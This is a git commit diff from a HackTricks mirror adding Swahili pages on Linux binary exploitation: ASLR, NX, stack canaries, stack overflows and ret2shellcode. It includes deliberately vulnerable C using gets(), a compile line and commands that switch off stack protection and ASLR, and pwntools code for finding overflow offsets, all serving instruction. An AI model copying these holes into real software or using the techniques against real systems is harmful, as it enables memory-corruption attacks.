mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin
This commit is contained in:
parent
f7b4d4a13f
commit
fe365c7004
10 changed files with 910 additions and 393 deletions
10
SUMMARY.md
10
SUMMARY.md
|
@ -693,14 +693,22 @@
|
|||
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
|
||||
* [Word Macros](reversing/word-macros.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
|
||||
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,39 @@
|
|||
# Kinga za Kimaumbile za Faili za Binary
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Wezesha Faili za Core
|
||||
|
||||
**Faili za Core** ni aina ya faili inayozalishwa na mfumo wa uendeshaji wakati mchakato unapopata ajali. Faili hizi hukamata picha ya kumbukumbu ya mchakato uliopata ajali wakati wa kumalizika kwake, ikiwa ni pamoja na kumbukumbu ya mchakato, rejista, na hali ya programu ya kuhesabu, pamoja na maelezo mengine. Picha hii inaweza kuwa na thamani kubwa kwa ajili ya kutatua hitilafu na kuelewa kwa nini ajali ilitokea.
|
||||
|
||||
### **Kuwezesha Uzalishaji wa Dump ya Core**
|
||||
|
||||
Kwa chaguo-msingi, mifumo mingi hupunguza ukubwa wa faili za core hadi 0 (yaani, hazizalishi faili za core) ili kuokoa nafasi kwenye diski. Ili kuwezesha uzalishaji wa faili za core, unaweza kutumia amri ya `ulimit` (katika bash au mifumo inayofanana) au kusanidi mipangilio ya mfumo kwa ujumla.
|
||||
|
||||
* **Kutumia ulimit**: Amri `ulimit -c unlimited` inaruhusu kikao cha kabati cha sasa kuunda faili za core zenye ukubwa usio na kikomo. Hii ni muhimu kwa vikao vya kutatua matatizo lakini haiko thabiti kati ya kuanzisha upya au vikao vipya.
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
* **Mipangilio Thabiti**: Kwa suluhisho la kudumu zaidi, unaweza kuhariri faili ya `/etc/security/limits.conf` ili ujumuishe mstari kama `* soft core unlimited`, ambao unaruhusu watumiaji wote kuzalisha faili za msingi zenye ukubwa usio na kikomo bila kulazimika kuweka ulimit kwa mikono katika vikao vyao.
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
### **Kuchambua Faili za Msingi na GDB**
|
||||
|
||||
Ili kuchambua faili ya msingi, unaweza kutumia zana za kudebugi kama GDB (GNU Debugger). Ukidhani una faili ya kutekelezeka ambayo ilizalisha dump ya msingi na faili ya msingi inaitwa `core_file`, unaweza kuanza uchambuzi na:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
Amri hii inapakia faili ya kutekelezeka na faili ya msingi ndani ya GDB, ikiruhusu uchunguze hali ya programu wakati wa kushindwa. Unaweza kutumia amri za GDB kuchunguza steki, kuchunguza viwakilishi, na kuelewa sababu ya kushindwa.
|
|
@ -0,0 +1,88 @@
|
|||
# ASLR
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## ASLR
|
||||
|
||||
**Urambazaji wa Mfumo wa Nafasi ya Anwani (ASLR)** ni mbinu ya usalama inayotumiwa kwenye mifumo ya uendeshaji kwa kuchanganya **anwani za kumbukumbu** zinazotumiwa na michakato ya mfumo na maombi. Kwa kufanya hivyo, inafanya iwe ngumu sana kwa mkaidi kutabiri mahali pa michakato na data maalum, kama vile steki, rundo, na maktaba, hivyo kupunguza aina fulani za uvamizi, hasa mlipuko wa ujazo.
|
||||
|
||||
### **ASLR Sio ya Kikamilifu ya Bahati Nasibu**
|
||||
|
||||
PaX inagawa nafasi ya anwani ya michakato katika **makundi 3**:
|
||||
|
||||
* **Msimbo na data** (iliyoanzishwa na isiyoanzishwa): `.text`, `.data`, na `.bss` —> **16 bits** ya entropy katika kifaa cha `delta_exec`. Kifaa hiki kinaanzishwa kwa bahati nasibu kila wakati wa michakato na kuongezwa kwa anwani za awali.
|
||||
* **Kumbukumbu** iliyotengwa na `mmap()` na **maktaba zilizoshirikiwa** —> **16 bits**, inayoitwa `delta_mmap`.
|
||||
* **Steki** —> **24 bits**, inayoitwa `delta_stack`. Walakini, inatumia **bits 11** (kutoka kwa byte ya 10 hadi ya 20 pamoja), iliyolinganishwa na **baiti 16** —> Hii inasababisha **anwani halisi za steki 524,288 zinazowezekana**.
|
||||
|
||||
Data iliyotangulia ni kwa mifumo ya biti 32 na entropy iliyopunguzwa mwisho inawezesha kukiuka ASLR kwa kujaribu tena na tena hadi uvamizi ukamilike kwa mafanikio.
|
||||
|
||||
Kwenye mifumo ya biti 64 entropy ni kubwa zaidi na hili halitowezekana.
|
||||
|
||||
### **Kuangalia Hali ya ASLR**
|
||||
|
||||
Ku **angalia** hali ya ASLR kwenye mfumo wa Linux, unaweza kusoma thamani kutoka faili ya `/proc/sys/kernel/randomize_va_space`. Thamani iliyohifadhiwa kwenye faili hii inaamua aina ya ASLR inayotumiwa:
|
||||
|
||||
* **0**: Hakuna kuchanganyikiwa. Kila kitu ni tuli.
|
||||
* **1**: Kuchanganyikiwa kwa uangalifu. Maktaba zilizoshirikiwa, steki, mmap(), ukurasa wa VDSO wanachanganyikiwa.
|
||||
* **2**: Kuchanganyikiwa kikamilifu. Mbali na vitu vilivyochanganyikiwa na kuchanganyikiwa kwa uangalifu, kumbukumbu inayosimamiwa kupitia `brk()` inachanganyikiwa.
|
||||
|
||||
Unaweza kuangalia hali ya ASLR kwa amri ifuatayo:
|
||||
```bash
|
||||
bashCopy codecat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Kulemaza ASLR**
|
||||
|
||||
Ili **kulemaza** ASLR, weka thamani ya `/proc/sys/kernel/randomize_va_space` kuwa **0**. Kulemaza ASLR kwa ujumla siyo jambo linalopendekezwa isipokuwa katika mazingira ya majaribio au kutatua hitilafu. Hapa ndivyo unavyoweza kulimaza:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Unaweza pia kulemaza ASLR kwa utekelezaji kwa:
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **Kuwezesha ASLR**
|
||||
|
||||
Ili **kuwezesha** ASLR, unaweza kuandika thamani ya **2** kwa faili ya `/proc/sys/kernel/randomize_va_space`. Kawaida hii inahitaji mamlaka ya msingi. Kuwezesha ubadilishaji kamili unaweza kufanywa kwa amri ifuatayo:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Uthabiti Kupitia Kuzimwa Upya**
|
||||
|
||||
Mabadiliko yaliyofanywa kwa kutumia amri za `echo` ni ya muda na yatarejeshwa wakati wa kuzimwa upya. Ili kufanya mabadiliko yawe ya kudumu, unahitaji kuhariri faili ya `/etc/sysctl.conf` na kuongeza au kuhariri mstari ufuatao:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
Baada ya kuhariri `/etc/sysctl.conf`, tumia mabadiliko kwa:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
Hii itahakikisha mipangilio yako ya ASLR inabaki hata baada ya kuzima na kuwasha upya.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,40 @@
|
|||
# No-exec / NX
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
Biti ya **No-Execute (NX)**, inayojulikana pia kama **Execute Disable (XD)** kwa lugha ya Intel, ni kipengele cha usalama kinachotegemea vifaa kilichoundwa kwa lengo la **kupunguza** athari za mashambulizi ya **kujaza kijazo**. Ikiwa imeanzishwa na kuwezeshwa, inatofautisha kati ya maeneo ya kumbukumbu yanayokusudiwa kwa **mimbo inayoweza kutekelezwa** na yale yanayolenga **data**, kama vile **stack** na **heap**. Wazo kuu ni kuzuia mtu anayeshambulia kutekeleza kificho cha kudhuru kupitia udhaifu wa kujaza kijazo kwa kuweka kificho cha kudhuru kwenye stack kwa mfano na kuongoza mtiririko wa utekelezaji kwake.
|
||||
|
||||
## Kupitisha
|
||||
|
||||
* Inawezekana kutumia mbinu kama **ROP** kuvuka kinga hii kwa kutekeleza sehemu za kificho kinachoweza kutekelezwa tayari kilichopo kwenye binary.
|
||||
* **Ret2libc**
|
||||
* **Ret2printc**
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,21 @@
|
|||
# Mlinzi wa Stack na Mlinzi wa Stack
|
||||
|
||||
**StackGuard** inaweka thamani maalum inayoitwa **canary** kabla ya **EIP (Extended Instruction Pointer)**, kwa usahihi `0x000aff0d` (inayowakilisha null, newline, EOF, carriage return) kulinda dhidi ya buffer overflows. Walakini, kazi kama vile `recv()`, `memcpy()`, `read()`, na `bcopy()` bado ziko hatarini, na hailinganishi **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** inachukua njia yenye utata zaidi kuliko StackGuard kwa kudumisha **Global Return Stack**, ambayo hifadhi anwani zote za kurudi (**EIPs**). Hii inahakikisha kuwa kuzidi kwa buffer haisababishi madhara, kwani inaruhusu kulinganisha kati ya anwani zilizohifadhiwa na anwani halisi za kurudi ili kugundua matukio ya kuzidi. Kwa kuongezea, StackShield inaweza kuchunguza anwani ya kurudi dhidi ya thamani ya mpaka ili kugundua ikiwa **EIP** inaelekeza nje ya nafasi ya data inayotarajiwa. Walakini, kinga hii inaweza kuzungukwa kupitia mbinu kama Return-to-libc, ROP (Return-Oriented Programming), au ret2ret, ikionyesha kuwa StackShield pia hailinganishi na maelezo ya ndani.
|
||||
|
||||
## **Mlinzi wa Stack Smash (ProPolice) `-fstack-protector`:**
|
||||
|
||||
Mbinu hii inaweka **canary** kabla ya **EBP**, na kurekebisha upya maelezo ya ndani ili kuweka mabufa kwenye anwani za kumbukumbu za juu, kuzuia kuzidi kuandika maelezo mengine. Pia inakopi salama hoja zilizopitishwa kwenye mstari juu ya maelezo ya ndani na kutumia nakala hizi kama hoja. Walakini, hailinganishi mabara yenye vipengele chini ya vipengele 8 au mabufa ndani ya muundo wa mtumiaji.
|
||||
|
||||
**Canary** ni nambari ya nasibu inayotokana na `/dev/urandom` au thamani ya msingi ya `0xff0a0000`. Imehifadhiwa katika **TLS (Thread Local Storage)**, ikiruhusu nafasi za kumbukumbu zilizoshirikiwa kati ya nyuzi kuwa na maelezo ya ndani ya nyuzi maalum. Maelezo haya ya ndani ya nyuzi kwa kawaida huchukuliwa kutoka kwa mchakato mzazi, na michakato ya watoto inaweza kubadilisha data yao bila kuathiri mzazi au ndugu. Walakini, ikiwa **`fork()` inatumika bila kuunda canary mpya, michakato yote (mzazi na watoto) wanashiriki canary sawa**, ikifanya iwe hatarini. Kwenye usanifu wa **i386**, canary imehifadhiwa kwa `gs:0x14`, na kwenye **x86\_64**, kwa `fs:0x28`.
|
||||
|
||||
Kinga hii ya ndani inatambua kazi zenye mabufa yanayoweza kushambuliwa na kuingiza nambari mwanzoni mwa kazi hizi kuweka canary, na mwishoni kuhakiki uadilifu wake.
|
||||
|
||||
Wakati seva ya wavuti inatumia `fork()`, inawezesha shambulio la kufikiria kuhusu canary kwa kila baiti. Walakini, kutumia `execve()` baada ya `fork()` kunaharibu nafasi ya kumbukumbu, kufuta shambulio. `vfork()` inaruhusu mchakato wa mtoto kutekelezwa bila kuiga hadi jaribio la kuandika, wakati huo mchakato wa nakala unajengwa, kutoa njia tofauti ya uundaji wa mchakato na utunzaji wa kumbukumbu.
|
||||
|
||||
## Kuzidi
|
||||
|
||||
* **Kuvuja kwa canary** na kisha kuibadilisha (k.m. buffer overflow) na thamani yake.
|
||||
* Ikiwa canary inaundwa katika michakato ya watoto inaweza kuwa inawezekana kufikiria kila baiti moja kwa wakati.
|
||||
* Ikiwa kuna ukiukaji wa kuvuja wa kuvutia katika binary inaweza kuwa inawezekana kuvuja.
|
|
@ -0,0 +1,83 @@
|
|||
# Kujaa Kwa Stak
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Ni Nini Kujaa Kwa Stak
|
||||
|
||||
**Kujaa kwa stak** ni udhaifu unapotokea programu inapoandika data zaidi kwenye stak kuliko ilivyotengewa kuhifadhi. Data hii ya ziada ita **futa nafasi ya kumbukumbu inayopakana**, ikisababisha uharibifu wa data halali, kuvuruga mtiririko wa udhibiti, na kwa uwezekano utekelezaji wa msimbo wa kudhuru. Tatizo hili mara nyingi hutokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye data zinazoingia.
|
||||
|
||||
Tatizo kuu la kufuta huku ni kwamba viashiria vya **EIP** na **EBP** vya kurudi kwenye kazi iliyotangulia **huhifadhiwa kwenye stak**. Hivyo, mshambuliaji ataweza kufuta viashiria hivyo na **kudhibiti mtiririko wa utekelezaji wa programu**.
|
||||
|
||||
Udhaifu huu kawaida hutokea kwa sababu kazi **inafanya nakala ndani ya stak ya herufi zaidi kuliko kiasi kilichotengwa kwa hiyo**, hivyo kuweza kufuta sehemu nyingine za stak.\
|
||||
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
|
||||
|
||||
Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
printf("Enter some text: ");
|
||||
gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Kupata Mafuriko ya Stack
|
||||
|
||||
Njia ya kawaida ya kupata mafuriko ya stack ni kutoa kuingia kubwa sana ya `A`s (k.m. `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` inayoashiria kwamba **anwani `0x41414141` ilijaribiwa kupatikana**.
|
||||
|
||||
Zaidi ya hayo, mara baada ya kugundua kuwepo kwa udhaifu wa Mafuriko ya Stack, utahitaji kupata ofseti mpaka iwezekane **kubadilisha kidude cha EIP**, kwa hili kawaida hutumika **De Bruijn sequence.** Ambayo kwa alfabeti iliyopewa ya ukubwa _k_ na subsekwensi za urefu _n_ ni **mfululizo wa mzunguko ambapo kila subsekwensi inayowezekana ya urefu **_**n**_** inaonekana mara moja tu** kama subsekwensi inayofuatana.
|
||||
|
||||
Hivyo, badala ya kuhitaji kufikiria ni ofseti ipi inayobadilisha EIP kwa mkono, ni rahisi kutumia mfuatano mmoja wa hizi na kisha kupata ofseti ya byte ambayo mwishowe ilibadilisha hiyo.
|
||||
|
||||
Inawezekana kutumia **pwntools** kwa hili:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
|
||||
pattern = cyclic(1000)
|
||||
|
||||
# This is an example value that you'd have found in the EIP/IP register upon crash
|
||||
eip_value = p32(0x6161616c)
|
||||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||||
print(f"The offset is: {offset}")
|
||||
```
|
||||
au **GEF**:
|
||||
```bash
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Kudukua Mabaki ya Stack
|
||||
|
||||
Wakati wa kudukua (ukiwa na ukubwa wa kutosha), utaweza kubadilisha thamani za mengine variables ndani ya stack hadi kufikia EBP na EIP (au zaidi).\
|
||||
Njia ya kawaida ya kutumia udhaifu huu ni kwa **kubadilisha kiongozi cha EIP** hivyo wakati wa kumaliza kazi, **mtiririko wa udhibiti utaelekezwa popote mtumiaji alipoamua** kwenye kiongozi huu.
|
||||
|
||||
Hata hivyo, katika mazingira mengine labda **kubadilisha thamani za baadhi ya variables kwenye stack** inaweza kuwa ya kutosha kwa udanganyifu (kama katika changamoto rahisi za CTF).
|
||||
|
||||
### Ret2win
|
||||
|
||||
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na **unahitaji kuita ili ushinde**. Kwa changamoto hizi unahitaji tu kupata **kielezo cha kubadilisha EIP** na **kupata anwani ya kazi** ya kuita (kawaida [**ASLR**](../common-binary-protections/aslr.md) itakuwa imelemazwa) hivyo wakati kazi yenye udhaifu inaporudi, kazi iliyofichwa itaitwa:
|
||||
|
||||
{% content-ref url="ret2win.md" %}
|
||||
[ret2win.md](ret2win.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2Shellcode
|
||||
|
||||
## Aina za ulinzi
|
||||
|
||||
{% content-ref url="../common-binary-protections/" %}
|
||||
[common-binary-protections](../common-binary-protections/)
|
||||
{% endcontent-ref %}
|
|
@ -0,0 +1,107 @@
|
|||
# Ret2Shellcode
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
**Ret2shellcode** ni mbinu inayotumiwa katika udukuzi wa binary ambapo muhusika anaandika shellcode kwa stack ya programu yenye kasoro kisha anabadilisha **Pointer ya Maelekezo (IP)** au **Pointer ya Maelekezo ya Kipekee (EIP)** ili kuashiria eneo la shellcode hii, ikisababisha utekelezaji wake. Hii ni njia ya kawaida inayotumiwa kupata ufikiaji usioruhusiwa au kutekeleza amri za kupindukia kwenye mfumo lengwa. Hapa kuna maelezo ya mchakato, pamoja na mfano rahisi wa C na jinsi unaweza kuandika shambulio linalofanana kutumia Python na **pwntools**.
|
||||
|
||||
### Mfano wa C: Programu Inayoweza Kudhuriwa
|
||||
|
||||
Tuanze na mfano rahisi wa programu ya C inayoweza kudhuriwa:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Programu hii ina mapungufu ya kujaza buffer kutokana na matumizi ya kazi ya `gets()`.
|
||||
|
||||
### Uundaji
|
||||
|
||||
Ili kuunda programu hii huku ukizima ulinzi mbalimbali (kwa lengo la kusimuliza mazingira yanayoweza kudhuriwa), unaweza kutumia amri ifuatayo:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-fno-stack-protector`: Inazuia ulinzi wa stack.
|
||||
